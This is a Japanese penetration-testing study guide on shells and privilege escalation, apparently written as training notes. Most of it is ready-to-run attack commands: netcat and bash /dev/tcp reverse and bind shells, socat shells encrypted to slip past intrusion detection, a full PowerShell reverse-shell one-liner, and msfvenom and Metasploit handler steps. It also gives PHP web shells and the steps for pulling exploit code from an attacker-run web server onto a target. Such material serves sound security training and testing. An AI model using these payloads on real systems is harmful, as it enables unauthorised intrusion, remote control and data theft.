コンテンツにスキップ

4. システムの侵入と権限昇格

4.1. 権限昇格

4.1.1. 権限昇格とは

権限昇格は権限の低いアカウントから権限の高いアカウントに移行することを指す。 ペネトレーションテストではOSやアプリケーションの脆弱性、設計上の欠陥、または設定の見落としを悪用してユーザーからのアクセスが制限されているリソースへの不正アクセスを取得することが目的となる。

権限昇格によりシステム管理者レベルのアクセス権が得られ、次のようなアクションを実行できるようになる。

  • パスワードのリセット
  • アクセス権のバイパスによりデータを侵害する
  • 永続化の有効化
  • 既存ユーザ権限の変更
  • 任意の管理者コマンドの実行

4.2. シェル

4.2.1. シェルとは

シェルはコマンドライン環境(CLI)とやり取りするときに使用するもの。 Linux の一般的な bash または sh プログラムは、Windows の cmd.exe や Powershell と同様、シェルの例といえる。

リモートシステムをターゲットにした場合、サーバー (Webサーバなど) 上で実行されているアプリケーションに任意のコードを強制的に実行させることができる場合がある。これが発生する場合、この初期アクセスを使用して、ターゲット上で実行されているシェルを取得しようとペネトレーションテストの側面では考える。

4.2.2. シェルの分類

ログインシェルと非ログインシェル

ログインシェルはユーザがシステムにログインする際に起動するシェル。 以下のような特徴がある。

  • ログイン認証後に開始する
  • SSHログイン時/su -コマンドでrootへの切り替え/sudo -iコマンド実行時に起動する
  • 環境変数ファイル(.bash_profile.profile)を読み込む、シェル設定を初期化する
  • /etc/shellsファイルに記載されたものがログインシェルになれる

非ログインシェルはユーザがログインしなくても起動できるシェル。 以下のようなものが非ログインシェルとなる。

  • Terminalなどのシェル
  • シェルスクリプト通常実行時/bash -cを実行したとき
  • ログインシェルと異なる環境設定(.bashrc)などを読み込む
  • サブシェルやスクリプト実行に適している

なおログインシェルの見分け方はshopt login_shellコマンドの実行(確実な方法)、echo $0コマンドで-の有無(ありでログインシェル)により判定できる。

対話的シェルと非対話的シェル

シェル 説明
対話的シェル ユーザがリアルタイム入力に対し、シェルが結果を表示する
非対話型シェル スクリプト実行、パイプライン処理、Cronジョブ、バックグラウンドプロセス処理で使用される

対話型/非対話型シェルの識別方法は以下の方法がある。

  • 特殊変数$-の確認(echo $-)
  • シェル変数PS1の確認(echo PS1)

4.2.3. シェルを利用するためのツール

リバースシェルの受信とバインドシェルの送信に使用するためのツールには以下のようなものがある。

Netcat

NetcatはTCPもしくはUDP接続などを利用して、コマンドラインからデータを送受信するためのツール。 シェルで言うと、リバースシェルを受信し、ターゲットシステム上のバインドシェルに接続されたリモートポートに接続するために使用できる。

nc <オプション> <IPアドレス> <ポート>

Socat

Netcatの強化版ツール。Netcatより優れた機能を持つ。

Metasploitの multi/handler モジュール

Metasploitのmulti/handlerモジュールは socat や netcat と同様に、リバース シェルを受信するために使用できる。

Msfvenom

MsfvenomはMetasploitに含まれる機能でペイロードを生成するために使用できるツール。 msfvenom はリバース シェルやバインド シェルなどのペイロードも生成できる。

4.3. シェルの種類

大まかにターゲットの悪用に関してシェルを考えた場合リバースシェルバインドシェルという2種類のシェルに分けられる。 これらは攻撃機とターゲットのどちらが通信を待ち受けしているかが異なる

なおリバースシェルとバインドシェルともに非対話式のシェルになるため、対話型のようにコマンド結果を出力しない

4.3.1. リバースシェル

リバースシェルはリモートホストに接続しに行く通常の通信とは異なる、リモートサーバ(ターゲット)からシェルを渡しに来る通信方法のこと。 通常はクライアント側から通信を要求しアクションをサーバに要求するが、リバースシェルではクライアント側にアクションをするように仕向けさせることでサーバへシェルの実行を要求することができる。

接続の際は、自らの接続元で任意のポートをlistenしリモートサーバがアクセスしに来る形を取るため、リモートサーバ側のファイアウォールで設定されているINPUT通信制御に関係なく接続可能

ncコマンドを利用したリバースシェル

攻撃機からシェルを打てるようにncコマンドを用いてシェルを待ち受ける設定例である。 攻撃マシンでリッスンし、ターゲットから接続の待ち受けを送信しているのが特徴となる。

  1. 攻撃機で以下のように待ち受ける
    • sudo nc -lvnp 443
  2. ターゲットで以下のようにシェルを打つ
    • nc <IPアドレス> <ポート> -e /bin/bash
  3. 攻撃機でターゲットのユーザでシェルを打てるようになる

bashコマンドを利用したリバースシェル

攻撃機からシェルを打てるようにbashコマンドを用いてシェルを待ち受ける設定例である。

  1. 攻撃機で以下のように待ち受ける
    • sudo nc -lvnp 4444
  2. ターゲットで以下のようにシェルを打つ(以下のどちらか)
    • bash -c "bash -i >& /dev/tcp/<IPアドレス>/4444 0>&1"
    • bash -c 'exec bash -i &> /dev/tcp/<IPアドレス>/4444 <&1'
  3. 攻撃機でターゲットのユーザでシェルを打てるようになる

PHPのリバースシェル

PHPにおけるリバースシェルの例は以下の通り。

# WEBリバースシェル(.php)
# クエリパラメータは?cmd=hogehoge
<?php echo system($_REQUEST ["cmd"]); ?>
<?php echo(system($_GET["cmd"])); ?>

4.3.2. バインドシェル

バインドシェルはターゲットのシステムで特定のポートをオープンして待機し攻撃者がそのポートに接続したときにシェルを提供する通信方法のこと。 簡単に言うと攻撃端末側からターゲット端末に接続し遠隔操作を行うもの。 シェルにアタッチされたlistenerをターゲット上で直接開始する特徴がある。

バインドシェルはターゲットの通信経路中のファイヤーウォールやルータにブロックされやすい。

ncコマンドを利用したバインドシェル

攻撃機からシェルを打てるようにncコマンドを用いてシェルを待ち受ける設定例である。 ターゲットで接続をリッスンし、攻撃マシンからターゲットに接続しているのが特徴となる。

なおターゲットがWindowsの場合の例である。

  1. ターゲットで以下のように待ち受ける
    • nc -lvnp <ポート> -e "cmd.exe"
  2. ターゲットで以下のようにシェルを打つ
    • nc <IPアドレス> <ポート>
  3. 攻撃機でターゲットのユーザでシェルを打てるようになる

4.3. NetCatを利用したシェル

4.3.1. NetCatによるリバースシェルとバインドシェル

リバースシェル

LinuxでNetcat Listenerを開始するコマンドは以下の通り。

nc -lvnp <ポート番号>
  • -l ... Listener宣言
  • -v ... 詳細な出力
  • -n ... netcat にホスト名を解決したり、DNSを使用したりしないようにする
  • -p ... ポート指定が続くことを示す

ポート番号は使用しているサービスがかぶっていない番号で使用可能で、またターゲット上の送信ファイアウォールルールを通過する可能性が高いため、既知のポート番号 (80、443、または 53 が適切な選択) を使用するのが良い。

バインドシェル

ターゲット上でバインドシェルを取得しようとしている場合は、ターゲットの選択したポート上ですでにリスナーが待機していると想定される。 そのため以下コマンドで接続を行う。

nc <IPアドレス> <ポート>

4.3.2. Netcatにおけるシェルの安定化

Netcatによるシェルはデフォルトでは非常に不安定となる。 これはCtrl + C を押すとすべてが強制終了されるためである。

Linuxシステム上で netcat シェルを安定させる方法には以下のテクニックがある。

Pythonによる安定化

以下の手順により安定化できる。

  1. nc -lvnp <ポート番号>で接続する
  2. pythonN -c 'import pty;pty.spawn("/bin/bash")'(Nはバージョン)によりbash生成を宣言する
  3. export TERM=xtermを入力しclearなどシェルと対話できるようにする
  4. Ctrl + Zを押してシェルをバックグラウンドにする
  5. stty raw -echo; fgでターミナルに戻る

なお、シェルが終了すると自分のターミナルの入力が表示されなくなるためresetと入力してEnter キーを押すことで解決できる。

rlwrapによる安定化

rlwrapはシェルを受信するとすぐに履歴、タブのオートコンプリート、および矢印キーにアクセスできるようにするプログラムのこと。 rlwrap を使用するには、少し異なるリスナーを呼び出す。

rlwrap nc -lvnp <ポート番号>
# または
rlwrap -c -pCyan nc -lvnp <ポート番号>

Linuxターゲットを扱う場合Pythonによる安定化と同じ仕組みを使用して、完全に安定化することができます。 Ctrl + Zを使用してシェルをバックグラウンドにし、stty raw -echo; fgを入力して安定化してシェルに再度入るために使用できる。

具体的手順は以下の通り。

  1. 攻撃端末の待ち受け側でrlwrap -c -pCyan nc -lvnp <ポート番号>を実行
  2. ターゲット端末でnc <IPアドレス> <ポート番号> -e /bin/bashを実行
  3. 攻撃端末でpython -c 'import pty; pty.spawn("/bin/sh")'によりTTYシェルを奪取する

4.5. SoCatを利用したシェル

4.5.1. SoCatによるリバースシェルとバインドシェル

リバースシェル

以下のコマンドはnetcatのnc -lvnp <ポート番号>と同等のコマンドとなる。

socat TCP-L:<ポート番号> -

# Linuxのみ使える安定板
socat TCP-L:<ポート番号> FILE:`tty`,raw,echo=0
# Windowsの場合
socat TCP:<ローカルIP>:<ポート番号> EXEC:powershell.exe,pipes
# Linuxの場合
socat TCP:<ローカルIP>:<ポート番号> EXEC:"bash -li"

バインドシェル

# Linuxの場合
socat TCP-L:<ポート番号> EXEC:"bash -li"
# Windowsの場合
socat TCP-L:<ポート番号> EXEC:powershell.exe,pipes

# 攻撃側のマシンで待機中のリスナーに接続
socat TCP:<ターゲットのIP>:<ポート番号> -

4.5.2. SoCatの暗号化シェル

socat の優れた点の 1 つは、暗号化されたシェル (バインドとリバースの両方) を作成できることにある。 これは暗号化されたシェルは復号キーを持っていない限り復号することができず、その結果として多くの場合IDSを通過できるためである。

リバースシェルにおける暗号化シェルの作成例

手順は以下の通り。

  1. 証明書を生成する
  2. openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
  3. 公開鍵と秘密鍵を1つのファイルにマージする
  4. cat shell.key shell.crt > shell.pem
  5. リバースシェルリスナーを設定する
  6. socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
  7. 再度接続する場合はsocat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bashで可能

バインドシェルにおける暗号化シェルの作成例

なお証明書はリスナーで使用する必要があるため、バインド シェル用に PEM ファイルをターゲット側にコピーする必要がある。

# ターゲット
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
# 攻撃機
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

4.5.3. 通常のシェルペイロード

リバースシェルのペイロードを含むサイトはコチラから。

Netcatによるシェルペイロード

# バインドシェルの場合
nc -lvnp <ポート> -e /bin/bash
# リバースシェルの場合
nc <ローカルIP> <ポート> -e /bin/bash

バインドシェルリスナーの生成

mkfifo /tmp/f; nc -lvnp <ポート> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

WindowsServerの場合のPowershellリバースシェル

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('[IPアドレス]',[ポート番号]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

4.6. Metasploitを利用したシェル

4.6.1. Msfvenom

MsfvenomはMetsaploitの中でもリバースシェルとバインドシェルのコードを生成するために使用されるモジュール。 バッファオーバーフローエクスプロイトのようなものを開発するときの 16 進数のシェルコードを生成するような低レイヤレベルのエクスプロイト開発で広く使用される。

ペイロードは<OS>/<アーキテクチャ>/<ペイロード>に従い命名する

msfvenomの基本コマンド

msfvenom -p <ペイロード> <オプション>

例としてWindows x64 リバースシェルを exe 形式で生成する場合のコマンドは以下の通り。

msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<待ち受けIPアドレス> LPORT=<待ち受けポート番号>

ステージペイロード/ステージレスペイロード

リバースシェルペイロードにはステージペイロードステージレスペイロードの2つがある

  • ステージペイロード
    • ペイロードは 2 つの部分に分けて送信される(1つ目はステージャと呼ばれるサーバー自体で直接実行されるコード)
    • ステージャ自体にはリバースシェルは含まれない
    • ステージャはリスナーに接続し、その接続を使用し実際のペイロードをロード/直接実行して、従来のウイルス対策ソリューションでキャッチされる可能性のあるディスクにアクセスするのを防ぐ
  • ステージレスペイロード
    • 自己完結型の1つのペイロードでオーソドックスなもの
    • 実行されると待機中のリスナーにすぐにシェルを送り返すコードが 1 つあるのみとなる
    • サイズが大きいためウイルス対策プログラムや侵入検知プログラムが検出して削除されやすい

msfvenomペイロードの検索方法

msfvenom --list payloads | grep "単語"

4.6.2. Metaploit Multi/Handler

Multi/Handlerはリバースシェルをキャッチするためのツール。 このツールはMeterpreterシェルを使用する場合に必要であり、ステージングされたペイロードを使用する場合に役に立つ

起動方法

  1. msfconsole
  2. use multi/handerでEnter

使用方法

  • optionsコマンドで使用できるオプションを確認できる
  • set PAYLOAD <payload>でペイロードの設定
  • set LHOST <待ち受けアドレス>でリスニングアドレスの設定
  • set LPORT <listen-port>でリスニングポートの設定

上記で設定したらexploit -jにより実行。 sessions <番号>でフォアグラウンドで実行する。

4.7. Webシェル

Webシェルはリバースシェルやバインドシェルをアクティブにするコードをアップロードすることができないときに使用されるシェル。

4.7.1. Webシェルとは

WebシェルはWebサーバで実行されサーバ上でコードを実行するスクリプトを表す。

基本的に、コマンドはHTMLフォーム経由、またはURL 内の引数として直接Webページに入力/実行され、結果が返されてページに書き込まれることになる。

4.7.2. php-reverse-shell

Penntestmonkeyが開発したWebのリバースシェルのコード。 kaliの場合、/usr/share/webshells/php/php-reverse-shell.phpに保存されている。

利用方法

  1. 以下手順の実施
# 対象のフォルダーにコピー
cp /usr/share/webshells/php/php-reverse-shell.php revshell.php
# 編集
vi revshell.php
  1. 編集の以下の部分を変更する。
$ ip = '127.0.0.1'; // これを変える
$ port = 4444; // これを変える
  1. netcatで待ち受ける。
nc -lvnp 4444
  1. 何らかの方法でこのペイロードをサーバにアップロードして駆動する

4.7.2. 各サーバサイドにおけるリバースシェル

PHPの場合

下記コードは URL 内の GET パラメータを取得/使用してシステム上でコードを実行するものとなる。

<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>

上記の場合URLのクエリパラメータに?cmd=<コマンド>を渡すことでページ結果が表示される。

4.8. エクスプロイトのアップロード

4.8.1. ローカルにWEBサーバを立ててアップロードする

Exploit DBのペイロードをターゲットにアップロードして実行する方法である。

# 以下コマンドで攻撃機にWEBサーバを立てる
python3 -m http.server [ポート番号]

# ターゲットのシェルからコードを/tmpにダウンロードする
wget http://[攻撃機のIP]:[ポート番号]/[エクスプロイトコード] -P /tmp/